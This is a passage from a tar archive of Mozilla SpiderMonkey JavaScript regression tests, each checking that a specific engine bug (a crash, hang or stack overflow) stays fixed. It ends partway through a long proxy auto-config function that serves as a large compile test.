+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +'); } catch(e) { } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-454682.js0000664000175000017500000000165412106270663022271 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 454682; var summary = 'Do not crash with JIT in MatchRegExp'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var a = new String("foo"); for (i = 0; i < 300; i++) { a.match(/bar/); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-294195-02.js0000664000175000017500000000124312106270663022503 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 294195; var summary = 'Do not crash during String replace when accessing methods on backreferences'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); var result = "".replace(/()/, "$1".slice(0,1)) reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-352009.js0000664000175000017500000000151512106270663022253 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 352009; var summary = 'Do not assert [1 for (y in [3])]'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); [1 for (y in [3])]; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-320032.js0000664000175000017500000000140712106270663022242 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 320032; var summary = 'Parenthesization should not dereference ECMA Reference type'; var actual = 'No error'; var expect = 'No error'; printBugNumber(BUGNUMBER); printStatus (summary); if (typeof document != 'undefined' && 'getElementById' in document) { try { (document.getElementById)("x"); } catch(ex) { actual = ex + ''; } } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-170193.js0000664000175000017500000000321612106270663022255 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * * Date: 22 Sep 2002 * SUMMARY: adding prop after middle-delete of function w duplicate formal args * See http://bugzilla.mozilla.org/show_bug.cgi?id=170193 * */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 170193; var summary = 'adding property after middle-delete of function w duplicate formal args'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; /* * This sequence of steps used to cause the SpiderMonkey shell to hang - */ function f(a,a,b){} f.c=42; f.d=43; delete f.c; // "middle delete" f.e=44; status = inSection(1); actual = f.c; expect = undefined; addThis(); status = inSection(2); actual = f.d; expect = 43; addThis(); status = inSection(3); actual = f.e; expect = 44; addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc('test'); printBugNumber(BUGNUMBER); printStatus(summary); for (var i=0; i undefined(); * js: TypeError: undefined is not a function. * * However, Rhino CRASHED if you tried to do "3"[5](). * * Rhino would NOT crash if you tried "3"[0]() or "3"[5]. Only array indices * that were out of bounds, followed by the call operator, would crash. * */ //----------------------------------------------------------------------------- var UBound = 0; var BUGNUMBER = 114493; var summary = 'Regression test for bug 114493'; var status = ''; var statusitems = []; var actual = ''; var actualvalues = []; var expect= ''; var expectedvalues = []; var sEval = ''; status = inSection(1); actual = 'Program execution did NOT fall into catch-block'; expect = 'Program execution fell into into catch-block'; try { sEval = '"3"[5]()'; eval(sEval); } catch(e) { actual = expect; } addThis(); //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function addThis() { statusitems[UBound] = status; actualvalues[UBound] = actual; expectedvalues[UBound] = expect; UBound++; } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (var i = 0; i < UBound; i++) { reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-340369.js0000664000175000017500000000117212106270663022260 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 340369; var summary = 'Oh for crying out loud.'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); try { eval('return /;'); } catch(ex) { print(ex+''); } reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-89443.js0000664000175000017500000027031112106270663022206 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date: 2001-07-12 * * SUMMARY: Regression test for bug 89443 * See http://bugzilla.mozilla.org/show_bug.cgi?id=89443 * * Just seeing if this script will compile without stack overflow. */ //----------------------------------------------------------------------------- var BUGNUMBER = 89443; var summary = 'Testing this script will compile without stack overflow'; printBugNumber(BUGNUMBER); printStatus (summary); // I don't know what these functions are supposed to be; use dummies - function isPlainHostName() { } function dnsDomainIs() { } // Here's the big function - function FindProxyForURL(url, host) { if (isPlainHostName(host) || dnsDomainIs(host, ".hennepin.lib.mn.us") || dnsDomainIs(host, ".hclib.org") ) return "DIRECT"; else if (isPlainHostName(host) // subscription database access || dnsDomainIs(host, ".asahi.com") || dnsDomainIs(host, ".2facts.com") || dnsDomainIs(host, ".oclc.org") || dnsDomainIs(host, ".collegesource.com") || dnsDomainIs(host, ".cq.com") || dnsDomainIs(host, ".grolier.com") || dnsDomainIs(host, ".groveart.com") || dnsDomainIs(host, ".groveopera.com") || dnsDomainIs(host, ".fsonline.com") || dnsDomainIs(host, ".carl.org") || dnsDomainIs(host, ".newslibrary.com") || dnsDomainIs(host, ".pioneerplanet.com") || dnsDomainIs(host, ".startribune.com") || dnsDomainIs(host, ".poemfinder.com") || dnsDomainIs(host, ".umi.com") || dnsDomainIs(host, ".referenceusa.com") || dnsDomainIs(host, ".sirs.com") || dnsDomainIs(host, ".krmediastream.com") || dnsDomainIs(host, ".gale.com") || dnsDomainIs(host, ".galenet.com") || dnsDomainIs(host, ".galegroup.com") || dnsDomainIs(host, ".facts.com") || dnsDomainIs(host, ".eb.com") || dnsDomainIs(host, ".worldbookonline.com") || dnsDomainIs(host, ".galegroup.com") || dnsDomainIs(host, ".accessscience.com") || dnsDomainIs(host, ".booksinprint.com") || dnsDomainIs(host, ".infolearning.com") || dnsDomainIs(host, ".standardpoor.com") // image servers || dnsDomainIs(host, ".akamaitech.net") || dnsDomainIs(host, ".akamai.net") || dnsDomainIs(host, ".yimg.com") || dnsDomainIs(host, ".imgis.com") || dnsDomainIs(host, ".ibsys.com") // KidsClick-linked kids search engines || dnsDomainIs(host, ".edview.com") || dnsDomainIs(host, ".searchopolis.com") || dnsDomainIs(host, ".onekey.com") || dnsDomainIs(host, ".askjeeves.com") // Non-subscription Reference Tools URLs from the RecWebSites DBData table || dnsDomainIs(host, "www.cnn.com") || dnsDomainIs(host, "www.emulateme.com") || dnsDomainIs(host, "terraserver.microsoft.com") || dnsDomainIs(host, "www.theodora.com") || dnsDomainIs(host, "www.3datlas.com") || dnsDomainIs(host, "www.infoplease.com") || dnsDomainIs(host, "www.switchboard.com") || dnsDomainIs(host, "www.bartleby.com") || dnsDomainIs(host, "www.mn-politics.com") || dnsDomainIs(host, "www.thesaurus.com") || dnsDomainIs(host, "www.usnews.com") || dnsDomainIs(host, "www.petersons.com") || dnsDomainIs(host, "www.collegenet.com") || dnsDomainIs(host, "www.m-w.com") || dnsDomainIs(host, "clever.net") || dnsDomainIs(host, "maps.expedia.com") || dnsDomainIs(host, "www.CollegeEdge.com") || dnsDomainIs(host, "www.homeworkcentral.com") || dnsDomainIs(host, "www.studyweb.com") || dnsDomainIs(host, "www.mnpro.com") // custom URLs for local and other access || dnsDomainIs(host, ".dsdukes.com") || dnsDomainIs(host, ".spsaints.com") || dnsDomainIs(host, ".mnzoo.com") || dnsDomainIs(host, ".realaudio.com") || dnsDomainIs(host, ".co.hennepin.mn.us") || dnsDomainIs(host, ".gov") || dnsDomainIs(host, ".org") || dnsDomainIs(host, ".edu") || dnsDomainIs(host, ".fox29.com") || dnsDomainIs(host, ".wcco.com") || dnsDomainIs(host, ".kstp.com") || dnsDomainIs(host, ".kmsp.com") || dnsDomainIs(host, ".kare11.com") || dnsDomainIs(host, ".macromedia.com") || dnsDomainIs(host, ".shockwave.com") || dnsDomainIs(host, ".wwf.com") || dnsDomainIs(host, ".wwfsuperstars.com") || dnsDomainIs(host, ".summerslam.com") || dnsDomainIs(host, ".yahooligans.com") || dnsDomainIs(host, ".mhoob.com") || dnsDomainIs(host, "www.hmonginternet.com") || dnsDomainIs(host, "www.hmongonline.com") || dnsDomainIs(host, ".yahoo.com") || dnsDomainIs(host, ".pokemon.com") || dnsDomainIs(host, ".bet.com") || dnsDomainIs(host, ".smallworld.com") || dnsDomainIs(host, ".cartoonnetwork.com") || dnsDomainIs(host, ".carmensandiego.com") || dnsDomainIs(host, ".disney.com") || dnsDomainIs(host, ".powerpuffgirls.com") || dnsDomainIs(host, ".aol.com") // Smithsonian || dnsDomainIs(host, "160.111.100.190") // Hotmail || dnsDomainIs(host, ".passport.com") || dnsDomainIs(host, ".hotmail.com") || dnsDomainIs(host, "216.33.236.24") || dnsDomainIs(host, "216.32.182.251") || dnsDomainIs(host, ".hotmail.msn.com") // K12 schools || dnsDomainIs(host, ".k12.al.us") || dnsDomainIs(host, ".k12.ak.us") || dnsDomainIs(host, ".k12.ar.us") || dnsDomainIs(host, ".k12.az.us") || dnsDomainIs(host, ".k12.ca.us") || dnsDomainIs(host, ".k12.co.us") || dnsDomainIs(host, ".k12.ct.us") || dnsDomainIs(host, ".k12.dc.us") || dnsDomainIs(host, ".k12.de.us") || dnsDomainIs(host, ".k12.fl.us") || dnsDomainIs(host, ".k12.ga.us") || dnsDomainIs(host, ".k12.hi.us") || dnsDomainIs(host, ".k12.id.us") || dnsDomainIs(host, ".k12.il.us") || dnsDomainIs(host, ".k12.in.us") || dnsDomainIs(host, ".k12.ia.us") || dnsDomainIs(host, ".k12.ks.us") || dnsDomainIs(host, ".k12.ky.us") || dnsDomainIs(host, ".k12.la.us") || dnsDomainIs(host, ".k12.me.us") || dnsDomainIs(host, ".k12.md.us") || dnsDomainIs(host, ".k12.ma.us") || dnsDomainIs(host, ".k12.mi.us") || dnsDomainIs(host, ".k12.mn.us") || dnsDomainIs(host, ".k12.ms.us") || dnsDomainIs(host, ".k12.mo.us") || dnsDomainIs(host, ".k12.mt.us") || dnsDomainIs(host, ".k12.ne.us") || dnsDomainIs(host, ".k12.nv.us") || dnsDomainIs(host, ".k12.nh.us") || dnsDomainIs(host, ".k12.nj.us") || dnsDomainIs(host, ".k12.nm.us") || dnsDomainIs(host, ".k12.ny.us") || dnsDomainIs(host, ".k12.nc.us") || dnsDomainIs(host, ".k12.nd.us") || dnsDomainIs(host, ".k12.oh.us") || dnsDomainIs(host, ".k12.ok.us") || dnsDomainIs(host, ".k12.or.us") || dnsDomainIs(host, ".k12.pa.us") || dnsDomainIs(host, ".k12.ri.us") || dnsDomainIs(host, ".k12.sc.us") || dnsDomainIs(host, ".k12.sd.us") || dnsDomainIs(host, ".k12.tn.us") || dnsDomainIs(host, ".k12.tx.us") || dnsDomainIs(host, ".k12.ut.us") || dnsDomainIs(host, ".k12.vt.us") || dnsDomainIs(host, ".k12.va.us") || dnsDomainIs(host, ".k12.wa.us") || 